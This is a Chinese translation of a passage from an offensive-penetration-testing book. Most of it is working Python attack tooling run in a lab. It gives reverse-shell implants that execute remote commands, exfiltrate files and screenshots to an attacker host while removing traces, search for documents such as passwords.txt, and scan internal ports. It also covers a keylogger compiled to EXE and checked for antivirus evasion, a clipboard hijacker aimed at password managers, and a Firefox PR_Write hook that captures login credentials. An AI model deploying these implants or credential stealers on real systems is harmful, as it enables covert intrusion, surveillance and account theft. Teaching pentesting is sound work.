你首先想到的可能是简单地封锁 Twitter,这肯定能阻止攻击。然而,如果你为一家社交营销公司工作,或者你的日常工作涉及使用 Twitter,那这种做法就不可行了。并且,问题不仅仅限于 Twitter。假设目标从 Instagram 下载了一张图片,然后,利用隐写术,目标解析出图片中的隐藏文本或命令。你可能会想到的第二点是,我们已经看到 Twitter 主页使用 HTTPS,流量是加密的。你可能会认为,我们可以简单地终止 SSL 并查看明文流量。那么,假设我们有一个解密设备,能够看到明文的推文和传输路径。问题是:我们需要哪些资源来检查从我们网络到 Twitter 之间的每一个数据包?因为可能会有 100MB 的数据流量。而且,如何区分哪些是好的,哪些是坏的呢?
假设我们有一条推文写着,Follow this website
。那么,如何在不主动检查该网站的情况下判断它是恶意网站还是无害网站呢?总的来说,这将是我们流程中的一个更大头疼的问题。这里还有一个需要考虑的点是:如果推文本身被加密了呢?所以,攻击者可能将这条推文加密为 AES,并发送到 Twitter,待它到达目标方后再解密回来,而不是看到"hello world"或者ipconfig
。
此外,攻击者还可以通过误导观察流量的任何人来进行攻击。他可以让恶意软件解析数百个 Twitter 页面,除了黑客页面之外,这会让我们重新回到之前讨论的资源问题。最后但同样重要的是,攻击者可以发布另一个 IP 地址的推文,以创建一条连接链。如果你阅读 FireEye 关于俄罗斯恶意软件如何工作的报告,你会发现攻击者发布了一个指向 GitHub 上图像的链接。因此,受害者启动了一个新的 GitHub 会话,这就是所谓的链式连接。
所以,如果我们再次考虑如何感染这种恶意软件,这将告诉我们,在当前情景中,前一章中讨论的相同对策依然有效。
在这一节中,我们将自动化捕获目标机器的屏幕截图并通过 HTTP 反向 Shell 获取它。从目标桌面
获取屏幕截图可以帮助我们查看目标端正在进行的程序和活动。在 Metasploit Meterpreter 中,有一个名为**screengrab()
**的功能,它将从目标机器拍摄快照并将其传回攻击者的机器。所以在这里,我们将在现有的 HTTP shell 中做类似的操作。为此,我们将在目标机器上使用一个名为Pillow
的库。这是一个 Python 的高级图像处理库。安装过程非常简单,你只需要通过cmd
运行pip install Pillow
即可。
在执行此操作之前,请确保你有互联网连接。安装完这个库后,我将进入 VirtualBox 中的“设备|网络|网络设置…”,并像上一章中一样将网络模式改回内部网络。我们还将为目标分配静态 IP 地址,以便能够连接到攻击者机器。
确保我们通过 ping 攻击者的 IP 地址与其建立了连接。
在我们的 HTTP 代码中,我们首先导入库。所以我们导入ImageGrab()
函数,并需要添加一个新的if
语句,表示如果收到screencap
关键字,那么我们将拍摄快照并将其保存到当前工作目录,文件名为img.jpg
。然后,我们会将其传输回攻击者机器:
# Python For Offensive PenTest
# Screen Capturing
import requests
import subprocess
import os
import time
from PIL import ImageGrab # Used to Grab a screenshot
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'screencap' in command: #If we got a screencap keyword, then ..
ImageGrab.grab().save("img.jpg", "JPEG")
url = 'http://10.0.2.15/store'
files = {'file': open("img.jpg", 'rb')}
r = requests.post(url, files=files) #Transfer the file over our HTTP
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://10.0.2.15', data=CMD.stdout.read() )
post_response = requests.post(url='http://10.0.2.15', data=CMD.stderr.read() )
time.sleep(3)
现在让我们尝试测试脚本。确保 HTTP 数据泄露服务器脚本在攻击者端运行。一旦我们看到Shell>
,在攻击者端运行screencap
,然后进入桌面
,将文件扩展名更改为.jpeg
,这样我们就能查看截图。如果我们去到目标机器,你会看到我们的screencap
图像保存在与脚本相同的当前工作目录中。
现在,问题在于,这非常明显,表明有人在我们的 PC 上进行恶意活动。即使在传输完成后我们删除了图像,目标仍有可能发现我们。为了克服这一点,我们将使用操作系统的temp
目录来创建一个临时目录,并将图像保存在其中。一旦传输完成,我们将删除整个目录。
Python 有一个内置库,使用操作系统的临时目录。让我们快速看一下。我们将进入命令提示符并打开 Python 交互模式,运行import tempfile
。这个tempfile
将处理创建temporary
目录的任务。但在创建之前,先打开 Windows 的temp
目录。运行print tempfile.mkdtemp
,这将为我们创建一个临时目录并打印出所有目录名称。现在,为了删除这个临时目录,我们将使用另一个名为shutil
的库。我们将导入它,并创建一个新的临时目录。
请注意,一旦我们执行此操作,将会在temp
目录下创建一个新文件夹。现在,我们将通过运行shutil.rmtree(x)
来删除它,因为变量x
包含该temp
文件夹的名称:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00038.jpeg
为了在脚本中反映这些更改,我们将返回并编辑目标脚本:
# Python For Offensive PenTest
# Screen Capturing
import requests
import subprocess
import os
import time
from PIL import ImageGrab # Used to Grab a screenshot
import tempfile # Used to Create a temp directory
import shutil # Used to Remove the temp directory
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'screencap' in command: #If we got a screencap keyword, then ...
dirpath = tempfile.mkdtemp() #Create a temp dir to store our screenshot file
ImageGrab.grab().save(dirpath + "\img.jpg", "JPEG") #Save the screencap in the temp dir
url = 'http://10.0.2.15/store'
files = {'file': open(dirpath + "\img.jpg", 'rb')}
r = requests.post(url, files=files) #Transfer the file over our HTTP
files['file'].close() #Once the file gets transferred, close the file.
shutil.rmtree(dirpath) #Remove the entire temp dir
...
首先,我们将创建一个temp
目录,并将其路径存储在dirpath
变量中。接下来,我们将告诉ImageGrab
将screencap
保存在新创建的temp
目录中。同时,我们还会修改保存目录。我们还需要将这个更改反映到文件传输函数中,这样它才能知道图像文件的新路径。最后,一旦传输完成,我们必须确保文件被关闭,因为我们不能删除当前正在被应用程序或进程打开的文件。我们将删除整个目录。
尝试一下,确保没有留下任何痕迹。在temp
目录中对img
进行过滤,img
是文件名或图像名称,然后像之前那样运行脚本,看看是否会有任何东西显示出来。一旦我们在攻击者机器上获得了Shell>
,就运行screencap
。当你在攻击者端截图后重命名,跳到目标端,看看是否有任何文件被创建。你会发现那儿什么也没有,因为我们在完成传输后删除了temp
目录。
接下来,我们将编写一个 Python 函数,它会在目标目录中搜索,并提供特定文件扩展名的文件位置列表。例如,假设我们需要在目标机器上搜索 PDF 或文档文件;我们不需要检查每个目录,而是将添加一个新函数来自动完成这个任务。这在你首次进入目标机器并尽可能多地探索数据(如文档、PDF 文件等)时非常有用。编写代码部分相当简单。我们将使用 Python 的os
库来完成这个任务。所以,像往常一样,我添加了一个新的if
语句来指定,如果我们获取到search
关键字,我们将执行以下操作:
# Python For Offensive PenTest
# Searching for Content
import requests
import subprocess
import os
import time
while True:
req = requests.get('http://10.0.2.15')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url = 'http://10.0.2.15/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.0.2.15', data='[-] Not able to find the file !' )
elif 'search' in command: # The Formula is search *. , for example let's say that we got search C:\\*.pdf
# if we remove the first 7 character the output would C:\\*.pdf which is basically what we need
command = command[7:] # cut off the the first 7 character ,, output would be C:\\*.pdf
path,ext=command.split('*') # split C:\\*.pdf into two sections, the first section (C:\\) will be stored in path variable and
# the second variable (.pdf) will be stored in ext variable
list = '' # here we define a string where we will append our result on it
'''
os.walk is a function that will navigate ALL the directories specified in the provided path and returns three values:-
dirpath is a string contains the path to the directory
dirnames is a list of the names of the subdirectories in dirpath
files is a list of the files name in dirpath
Once we got the files list, we check each file (using for loop), if the file extension was matching what we are looking for, then
we add the directory path into list string. the os.path.join represents a path relative for our file to
the current directory and in our example it's the C:\\ directory
'''
for dirpath, dirname, files in os.walk(path):
for file in files:
if file.endswith(ext):
list = list + '\n' + os.path.join(dirpath, file)
requests.post(url='http://10.0.2.15', data= list ) # Send the search result
...
所以首先,我们将格式定义为search C:\\*.pdf
。请注意,我们只关注第二部分,也就是我们要搜索的目录和文件扩展名。现在,为了清理received
命令并将其拆分为参数,我们需要去掉前面七个字符;这样做是为了去掉不需要的搜索字符串和空格。现在,如果我们数一数前面七个字符,它将会包括C
目录;完成这个操作后,输出会干净许多。接下来,我们将字符串拆分为路径和文件扩展名,并将它们存储在路径和扩展名变量中。所以第一个参数将是path
,它将存储在路径变量中,第二个将存储在扩展名变量中。接下来,我们定义一个列表变量,这将是我们用来存储文件目录的占位符。现在,实际执行搜索的函数是os.walk(path)
函数。这个函数将遍历提供的path
目录中所有指定的目录,并返回三个值:dirpath
,它是包含目录路径的字符串;dirname
,它是dirpath
中子目录名称的列表;最后是files
,它是dirpath
中所有文件名的列表。
接下来,我们执行另一个循环,检查files
列表中的每个文件。如果文件的扩展名是我们想要的扩展名,例如.pdf
,那么我们就将该目录值加入到列表字符串中。最终,os.path.join()
函数表示相对于当前目录的文件路径,在我们的例子中是C:\
目录。最后,我们将结果发送回攻击者端。
运行脚本时,作为开始,让我们通过运行以下命令搜索C:\
目录中的所有 PDF 文件:
search C:\*.pdf
接下来,让我们尝试抓取Documents\Module 3.pdf
:
grab*C:\Users\hkrais\Documents\Module 3.pdf
我们还可以搜索系统中的每个文本文件。应该会有一大堆文件:
search C:\*.txt
我们可以缩小搜索范围,仅在Desktop
目录中进行搜索。
search C:\Users\hkrais\Desktop\.txt
然后我们在那儿有一个叫做passwords.txt
的文件。尝试抓取它,并像在上一章一样验证它的内容。
现在,我们将解决一个目录导航问题。现在,问题是浏览目录受到 shell 工作目录的限制。例如,如果目标已经在Desktop
执行了我们的 Python 脚本,那么我们的工作目录就会是Desktop
。由于 shell 的限制,我们不能简单地输入cd
命令并切换到另一个目录。记住,我们学到的一些命令在 shell 中无法执行,cd
就是其中之一。
一旦我们在两端运行之前的 TCP 反向 Shell,你会看到我们当前的工作目录是在 Desktop
,也就是我们的 Python 脚本所在的地方。注意,当执行 cd
命令来更改当前工作目录到 C:\Users
时会发生什么。我们的脚本在尝试执行 cd C:\Users
命令时会变得没有响应,这是因为 Shell 未能正确处理 cd
命令。现在,为了解决这个问题,我们需要明确地告诉脚本改变它的工作目录。再次强调,这是因为我们的 Shell 工作目录被限制在 Python 脚本的工作目录中。
这里的公式是 cd
后跟空格,然后是我们想要进入的路径。接下来,我们将基于空格将接收到的命令拆分成两个变量。幸运的是,改变目录在 Python 中只需一行代码。最后,我们返回一个字符串,表示当前的工作目录:
# Python For Offensive PenTest
# Directory Navigation
import socket
import subprocess
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
elif 'grab' in command:
grab,path = command.split('*')
try:
transfer(s,path)
except Exception,e:
s.send ( str(e) )
pass
elif 'cd' in command: # the forumula here is gonna be cd then space then the path that we want to go to, like cd C:\Users
code,directory = command.split (' ') # split up the received command based on space into two variables
os.chdir(directory) # changing the directory
s.send( "[+] CWD Is " + os.getcwd() ) # we send back a string mentioning the new CWD
...
一旦我们尝试了之前的脚本,在输入 cd C:\Users
后,你将能够看到我们是否已更改或移动到 Users
目录:
>>>
Shell> cd C:\Users
[+] CWD Is C:\Users
>>>
尝试导航到你想要 grab
的文件位置。你会注意到,一旦我们在与目标文件相同的目录中,我们就不再需要指定绝对路径。我们可以通过仅指定文件名来直接抓取文件,如下所示:
grab*Module 3.pdf
这将使我们能够获取 Kali 机器上的文件。
在渗透测试中,有时你会遇到这样的场景:你的客户使用某种无法通过互联网访问的内部服务器。仅仅因为这个原因,他们认为这个服务器是安全的。在这一部分,我们将看到如何将一个简单的端口扫描器与我们的脚本集成,以防止可能的攻击。
通常,一旦你进入目标机器,你会开始寻找其他可能的目标。例如,如果我们能够访问机器 A,那么我们可以扩展攻击,扫描机器 B,查看该机器上正在运行的端口和服务。其他用途是让目标代表我们扫描在线服务器,以隐藏我们的活动。现在,让我们进入编码部分。我们将构建一个基本的低级扫描器。之所以称之为低级,是因为我们将使用内置的 socket 库,然后在此基础上进行扩展。发送扫描请求的公式或格式是 scan
后跟一个空格,然后是 IP 地址,接着是冒号,再然后是端口列表,例如 scan 10.0.2.15:22,80
:
# Python For Offensive PenTest
#Low Level Port Scanner
import socket # For Building TCP Connection
import subprocess # To start the shell in the system
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
...
现在,首先要做的是去掉第一个字符,所以这部分内容将被移除。然后,我们将把右边的部分分为两部分。第一部分是我们要扫描的 IP 地址,并将其存储在ip
变量中。第二部分是我们要检查访问状态的端口列表,这将保存在ports
变量中。为了保持代码简洁,我们创建了一个名为 scanner 的函数来处理这些事情。所以,我们将socket
对象、ip
和ports
变量传递给这个函数。
一旦获取到这些变量,我们将定义scan_result
作为一个变量,用来存储我们的扫描结果。现在,请记住,端口是用逗号分隔的,例如:21, 22, 80, 443, 445
。所以我们要做的是,遍历这些端口并尝试通过socket
库与每个端口建立连接。请注意,我使用了connect_ex()
函数,当操作成功时,该函数会返回0
。在我们的案例中,操作成功了,这意味着连接已经建立,并且端口是开放的。否则,端口将是关闭的,或者主机根本无法访问。最后,我们将关闭套接字并重复整个过程,直到最后一个端口。
...
def scanner(s,ip,ports):
scan_result = '' # scan_result is a variable stores our scanning result
for port in ports.split(','): # remember the ports are separated by a comma in this format 21,22,..
try: # we will try to make a connection using socket library for EACH one of these ports
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
output = sock.connect_ex((ip, int(port) )) #connect_ex This function returns 0 if the operation succeeded, and in our case operation succeeded means that
#the connection happens which means the port is open otherwise the port could be closed or the host is unreachable in the first place.
if output == 0:
scan_result = scan_result + "[+] Port " +port+ " is opened" +'\n'
else:
scan_result = scan_result + "[-] Port " +port+" is closed or Host is not reachable" +'\n'
sock.close()
except Exception, e:
pass
s.send (scan_result) # finally we send the result back to our kali
...
所以我们将从端口22
开始,直到达到最后一个端口。我们的扫描结果将存储在scan_result
中,+
符号用于追加结果。最后,我们将结果发送回我们的 Kali 机器。由于我们的 Kali 机器和目标在同一个虚拟子网中,我们应该出现在目标的arp
表中。
让我们继续看其余的代码:
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True: # keep receiving commands from the Kali machine
command = s.recv(1024)
if 'terminate' in command:
s.close()
break # close the socket
elif 'grab' in command: # grab*C:\Users\Hussam\Desktop\photo.jpeg
grab,path = command.split('*')
try:
transfer(s,path)
except Exception,e:
s.send ( str(e) )
pass
elif 'scan' in command: # syntax: scan 10.0.2.15:22,80
command = command[5:] # cut off the leading first 5 char
ip,ports = command.split(':') # split the output into two sections where the first variable is the ip which we want to scan and the second variable is the list of ports
# that we want to check its status
scanner(s,ip,ports)
...
在两边运行我们的脚本时,我们会执行arp -a
,这将显示我们 Kali 机器的 IP 地址:10.0.2.15
。所以,作为概念验证,我们可以从目标端扫描我们的 Kali 机器,并运行 Wireshark 来确认扫描过程:
scan 10.0.2.15:21,23,80,443,445,137,138,8080
一旦我们运行 Wireshark 并过滤 TCP 流量,我们可以看到 TCP 会话的传输。在扫描结果中,我们可以看到端口8080
是打开的,而其他端口都关闭:
>>>
[-] Port 21 is closed or Host is not reachable
[-] Port 23 is closed or Host is not reachable
[-] Port 80 is closed or Host is not reachable
[-] Port 443 is closed or Host is not reachable
[-] Port 445 is closed or Host is not reachable
[-] Port 137 is closed or Host is not reachable
[-] Port 139 is closed or Host is not reachable
[+] Port 8080 is opened
>>>
我们可以检查端口8080
上的 TCP 三次握手过程。我们可以看到[SYN]
、[SYN, ACK]
,然后是[ACK]
,这完成了三次握手;并且我们可以看到,目标在完成三次握手后,发送了一个[FIN]
请求来关闭套接字,因为我们选择在扫描后关闭套接字。如果你还记得,在这里的代码中我们写了sock.close()
。所以,[FIN]
作为关闭套接字的指示符。
现在,为了再三确认,我们可以打开终端查看哪个进程正在使用端口8080
:
netstat -antp | grep "8080"
我们会看到它是被另一个 Python 脚本打开的。但是如果我们对端口21
做同样的操作,我们什么也得不到,因为该端口是关闭的。
做另一个测试:我们将使用netcat
打开端口21
:
ncat -lvp 21
然后,我会再次进行扫描,看看结果是否会发生变化。现在,我们正在监听21
端口,因为它已经开放。所以,如果我们回到我们的 shell,再次重复相同的扫描;如果它有效,我们应该看到21
端口是开放的。
在这一章,我们学习了 DDNS 和支持 DDNS 的 shell。我们还学习了如何与 Twitter 进行交互,如何复制 Metasploit 的屏幕捕获功能,以及如何搜索内容并查看目标目录导航。最后,我们看到如何集成一个低级端口扫描器。
在下一章,我们将学习密码破解。
大多数黑客认为他们的目标在运行过时且没有打补丁的 Windows XP,在这种系统上,防病毒软件已禁用,防火墙已关闭,可能也没有入侵防御系统。毕竟,你可能成功入侵他们的系统,也可能没有。这绝对不是现实世界中的渗透测试。
在本章中,我们将处理以下主题:
无病毒的键盘记录器
浏览器中的人
使用 Immunity Debugger 对 Firefox 进行 API 钩取
Firefox 中的 Python 概念验证(POC)
Firefox 中的 Python EXE
密码钓鱼
应对措施
在本节中,我们将编写一个简单的软件键盘记录器,完全使用 Python 来实现。为此,我们将使用一个名为pyHook
的库。pyHook
库封装了 Windows 中的低级鼠标和键盘钩子。根据pyHook
文档,任何希望接收全局输入事件通知的应用程序都必须有一个 Windows 消息泵。为此,我们还需要另一个名为pywin
的库。
那么,让我们开始安装这些库吧。
你可以从sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
下载pyHook
库,并按照屏幕上的指示轻松安装。
确保后台没有运行其他 Python 实例,否则在安装过程中会遇到错误。pywin
库也可以以相同的方式安装。你可以从sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
下载该库。
以下是键盘记录器的脚本:
# Python For Offensive PenTest
# pyHook download link
# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
# pythoncom download link
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Keylogger
import pythoncom, pyHook
#Again, once the user hit any keyboard button, keypressed func will be executed and that action will be store in event
def keypressed(event):
global store
#Enter and backspace are not handled properly that's why we hardcode their values to < Enter > and
# note that we can know if the user input was enter or backspace based on their ASCII values
if event.Ascii==13:
keys=' < Enter > '
elif event.Ascii==8:
keys=' '
else:
keys=chr(event.Ascii)
store = store + keys #at the end we append the ascii keys into store variable and finally write them in keylogs text file
fp=open("keylogs.txt","w")
fp.write(store)
fp.close()
return True # after intercepting the keyboard we have to return a True value otherwise we will simply disable the keyboard functionality
store = '' # string where we will store all the pressed keys
#Next we create and register a hook manager and once the user hit any keyboard button, keypressed
#func will be executed and that action will be store in event
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard() #start the hooking loop and pump out the messages
pythoncom.PumpMessages() #remember that per pyHook documentation we must have a Windows message pump
让我们来看看脚本中的步骤:
pyHook
和pythoncom
库,如前面的脚本所示,import pythoncom, pyHook
。pyHook
库将处理与 Windows 函数SetWindowsHookExA
的低级通信。此函数将为我们安装一个钩子,以监控键盘事件。
导入pythoncom
库,它将为我们处理 Windows 消息泵。
定义一个字符串store
,这是我们将存储所有按下的键的地方。
创建并注册一个HookManager
。一旦用户按下任意键,keypressed()
函数将被执行,且该操作将被存储在事件中。
启动钩子循环并提取消息。
请记住,根据pyHook
文档,我们必须在这里有一个 Windows 消息泵。
Enter
和Backspace
按钮未正确处理,我们需要静态配置它们的值。请记住,我们可以通过它们的 ASCII 值来判断用户输入的是Enter还是Backspace。
将 ASCII 键值追加到 store
变量中,最后将它们写入 keylogs.txt
文件。我们可以选择追加数据和文本文件,而不是覆盖它们,但建议使用写入技术而不是追加操作,以确保更高的稳定性。
在拦截键盘事件后,我们需要返回一个 True
值;否则,我们将禁用键盘功能。
那么,让我们通过运行该模块做一个快速测试。我们将创建一个新的文本文件来进行测试。输入错误信息:Error! Hyperlink reference not valid.
keylogger test
hello from python
在输入上述内容时,记得在每行之间使用 Backspace。请注意,我们将在创建的 keylogs
文件中获取到我们的键盘日志。它看起来会像下面这样:
keyloffe gger test hello from python
由于我们按下了 Backspace,你可以看到在 keylogs 中记录了 BACK SPACE
。
现在,终止 keylogger
并删除 keylogs
和 New Text Document
文件。复制 keylogger
文件的名称,以便我们可以通过 py2exe
的安装文件将其导出为 EXE 格式。然后,你可以运行该模块,keylogger
EXE 文件将会创建。现在,让我们使用 AVG 防病毒软件快速扫描名为 keylogger
的 .exe
文件,看看是否有该 EXE 文件的签名。如果显示“未检测到威胁”,则运行该 EXE 格式的键盘记录器。接下来,登录到你的 Facebook 账户,注意到一旦我们按下键盘上的任意一个键,都会出现在 keylogs.txt
文件中。输入你的电子邮件地址和密码打开 Facebook 页面,并打开 keylogs.txt
文件。你可以看到你的密码和电子邮件地址。
请记住,你必须手动终止 keylogger
进程。另外,keylogs
文件位于与我们的二进制文件相同的目录下。
在下一节中,我们将看到如何增强我们的键盘记录器功能。
如果你曾经和网络工程师或系统管理员一起工作过,尤其是他们操作多个设备时,那么你很可能接触过密码管理器,因为对他们来说,记住每个密码几乎是不可能的。通常,他们使用密码管理器来安全存储设备凭据。
在本节中,我们将使用一个非常常见的跨平台软件 KeePass,看看如何借助该软件劫持密码。你可以从 keepass.info/download.html
下载并安装该软件。安装后:
通过点击新建图标来创建一个 NewDatabase
。
定义主密码并点击 OK。
接下来,点击 eMail 并通过右键点击选择 “添加条目…” 为 gmail
账户创建一个新账户或新条目。
现在,让我们为 PayPal 账户创建一个新条目。点击 Homebanking,然后右键点击并选择 “添加条目…” 选项。
那么,让我们登录并看看是否能够使用密码管理器进行登录。我们前往accounts.google.com
,这是登录页面。对于密码管理器,您需要从数据库中复制并粘贴用户名和密码到登录页面。请注意,在这种情况下,键盘记录器将无法工作,因为密码是复制到剪贴板中的,这只是一个复制和粘贴的过程,不涉及触摸键盘。
现在,请退出您的账户。
在 Python 中,要与剪贴板进行交互,您需要一个名为pyperclip
的库,您可以从pypi.python.org/pypi/pyperclip/1.5.11
下载。
安装pyperclip
库非常简单。我们只需要将库文件复制并粘贴到site-packages
文件夹中。
如果在使用安装文件时遇到问题,请手动操作。
目录是Python27/Lib
,然后是site-packages
。文件现在已安装。
接下来,进入password manager
文件夹并打开文件查看代码。
我们从导入库开始:
import pyperclip
import time
list
,用来存储剪贴板内容:list = []
while True: # infifnite loop to continously check the clipboard
if pyperclip.paste() != 'None': # if the clipboard content is not empty ...
value = pyperclip.paste() # then we will take its value and put it into variable called value
#print pyperclip.paste()
if value not in list: #now to make sure that we don't get replicated items in our list before appending the value variable into our list
#we gonna check if the value is stored earlier in the first place, if not then this means this is a new item
#and we will append it to our list
list.append(value)
print list
time.sleep(3)
如果剪贴板内容不为空(这里,空表示None
),那么我们将获取它的值,并将其存储在一个名为value
的变量中。为了确保list
中不会出现重复项,在将value
变量追加到list
之前,我们会检查该值是否已经存在。如果没有,那么意味着这是一个新项,我们将存储它。最后,我们会打印出结果,或者您可以将其保存到文本文件中。然后,我们将休眠3
秒,再次检查剪贴板的状态。
现在,让我们运行脚本并重复整个过程一次。
让我们看看当我们复制 Gmail 账户的用户名和密码时会发生什么。一旦它被复制到剪贴板,我们的脚本会立即获取剪贴板的值并将其打印出来。
让我们试试我们保存的 PayPal 账户。一旦我们复制,就能看到之前输入的随机密码。
这就是密码管理器的工作原理。
在本节中,我们将讨论一种新方法。正如您可能已经知道的那样,所有浏览器在您提交数据到登录页面时,都提供保存用户名和密码的功能。下次访问同一登录页面时,您会看到您的用户名和密码会自动填充,无需输入任何字符。此外,还有一些专用的第三方软件,如LastPass,也可以为您完成相同的工作。这里的关键是,如果目标用户使用这种方法登录,那么无论是键盘记录器还是剪贴板方法都无法奏效。
快速看一下。我们将在 Firefox 浏览器中使用 LastPass 插件。在这里打开浏览器并访问 Gmail 账户。在登录 Gmail 账户之前,我们将使用之前的剪贴板脚本:
# Python For Offensive PenTest
# Download Link https://pypi.python.org/pypi/pyperclip/1.5.11
# Clipboard Hijacking
import pyperclip
import time
list = [] # we create a list which will store the clipboard content
while True: # infinite loop to continuously check the clipboard
if pyperclip.paste() != 'None': # if the clipboard content is not empty ...
value = pyperclip.paste() # then we will take its value and put it into variable called value
#print pyperclip.paste()
if value not in list: #now to make sure that we don't get replicated items in our list before appending the value variable into our list
#we gonna check if the value is stored earlier in the first place, if not then this means this is a new item
#and we will append it to our list
list.append(value)
print list
time.sleep(3)
运行脚本,然后使用 LastPass 登录 Gmail 账户。你会注意到 LastPass 已经自动填入了电子邮件和密码。
成功登录后,你会注意到剪贴板脚本在这里没捕捉到任何内容。现在我们从 Gmail 账户退出。
针对这一点,黑客们创造了一种新的攻击方式,称为浏览器中人攻击,以克服这个困境。简而言之,浏览器中人攻击拦截浏览器的 API 调用,并在数据以明文形式出现时提取数据,避免数据进入网络套接字并进行 SSL 加密。
我们现在将调试并进入 Firefox 进程。然后,我们将拦截 DLL 模块中特定函数的 API 调用:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00039.gif
这是 DLL,我们将在 DLL 中对特定函数进行拦截。之后,我们将提取数据并继续流程。总结起来,执行的步骤如下:
获取浏览器进程的进程 ID。
将我们的调试器附加到此进程 ID。
指定我们想要拦截的 DLL 库,以及 DLL 中的函数名称。请记住,我们需要知道函数的内存地址,以便在拦截后继续流程。
设置一个断点并注册一个callback
函数。
在callback
函数中,我们将以明文形式打印出内存中的敏感数据。
使用调试循环等待调试事件。
一旦发生调试事件,执行callback
函数。
执行callback
函数后,我们将返回到原始进程继续正常流程。
在接下来的两个部分中,我们将看到这些步骤的实际操作。比看起来要简单得多。
Firefox 使用一个名为PR_Write
的函数将数据写入 TCP 套接字。这个函数位于一个名为nss3.dll
的 DLL 模块中。为了演示,我们需要准备一个 Twitter 账户。创建该账户并登录后,退出账户,然后再登录。由于我们使用 LastPass,登录凭据已经由 LastPass 自动填写。点击登录按钮后,幕后会发生什么?
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00040.gif
在后台,Firefox 将加载nss3.dll
库并调用PR_Write
函数以提交数据(登录 ID 和密码)。一旦 Firefox 执行这些步骤,我们将设置一个断点并拦截流量。让我们从debugger.immunityinc.com/ID_register.py
安装Immunity Debugger软件开始。安装过程相当简单。Immunity Debugger 将获取浏览器进程的进程 ID,并直接附加调试器到该 PID。我们只需从文件 | 附加菜单中选择要附加的 Firefox 进程列表中的进程即可。默认情况下,Immunity Debugger 会解析进程 ID 并为我们附加。接下来的操作是指定 DLL 库和函数名称,即nss3.dll
和PR_Write
。为此,只需进入视图 | 可执行模块,查看“名称”字段来搜索正确的 DLL。右键单击高亮的 DLL,然后选择查看名称。滚动查找直到找到PR_Write
函数。
所以,到这里,我们已经完成了前一部分关于Firefox 进程的前四个步骤。
由于我们使用 Immunity Debugger 手动进行钩子操作,因此不需要指定callback
函数。
要设置断点,只需按键盘上的F2或右键点击并指定切换断点。完成后,点击播放按钮几次。
现在再次打开 Firefox 窗口。注意,每当我们达到断点时,位于 Immunity Debugger 屏幕底部的任务管理器会通知我们。执行也会被暂停。你可以看到暂停的窗口,除非我们手动再次点击播放按钮,否则它将保持暂停状态。现在点击登录按钮。要查看内存内容,只需右键点击并选择地址 | 相对于 ESP 寄存器,这就是堆栈指针。然后只需多次点击播放按钮。右键单击其中一个 ESP 寄存器并选择“跟踪转储”,以便我们可以在此看到内存转储。再次需要多次点击播放按钮。再次右键单击并选择“跟踪转储”。经过几次点击后,我们将首先将内存转储复制到新文本文件中,然后终止调试器。你会看到与我们登录 Twitter 账户时使用的相同的用户名和密码。用户名/邮箱是[email protected]
。我们可以看到一些十六进制字符,我们需要将其转换回 ASCII。我们可以通过查看 ASCII 码表来完成此操作。
下面是我们获得的邮件和密码:
mail%5D= bigtasty321%40gmail.com
password%5D= %58123justyouandme%5D
我们将从电子邮件地址开始。注意,十六进制的40
在 ASCII 中代表@
。因此,我们得到了bigtasty
通过321@gmail
。对于密码,58
代表左括号[
,5D
代表右括号]
。因此,我们的用户名和密码将如下所示:
mail%5D= [email protected]
password%5D= [123justyouandme]
现在,我们将尝试使用我们刚刚弄清楚的信息登录 Twitter 帐号。访问 Twitter 登录页面,复制用户名和密码,你会看到你可以成功登录。
请记住,这一切只是手动方法的介绍,它只是为下一节做铺垫。在下一节中,我们将展示如何通过 Python 脚本得到相同的结果。
在本节中,我们将编写一个 Python 脚本,自动化我们使用 Immunity Debugger 所做的相同步骤。为此,我们将使用一个名为 winappdbg
的 Python 库,来自动化调试 Firefox 进程。所以,让我们首先安装这个库。你可以从winappdbg.sourceforge.net/
下载这个库。
我们之前在 Firefox 进程部分提到的步骤可以被转换为代码。我们来一步步实现:
...
debug = Debug(MyEventHandler()) # Create a debug object instance
try:
for ( process, name ) in debug.system.find_processes_by_filename( "firefox.exe" ): # Search for Firefox.exe process, if found
print '[+] Found Firefox PID is ' + str (process.get_pid()) # Grab the Process ID (PID)
debug.attach( process.get_pid() ) # Attach to the process.
debug.loop()
...
如你所见,首先我们搜索 Firefox 进程,然后检索其进程 ID。接着,我们将进程 ID 附加到调试器,并将一个名为 MyEventHandler
的类传递给 debug
函数。
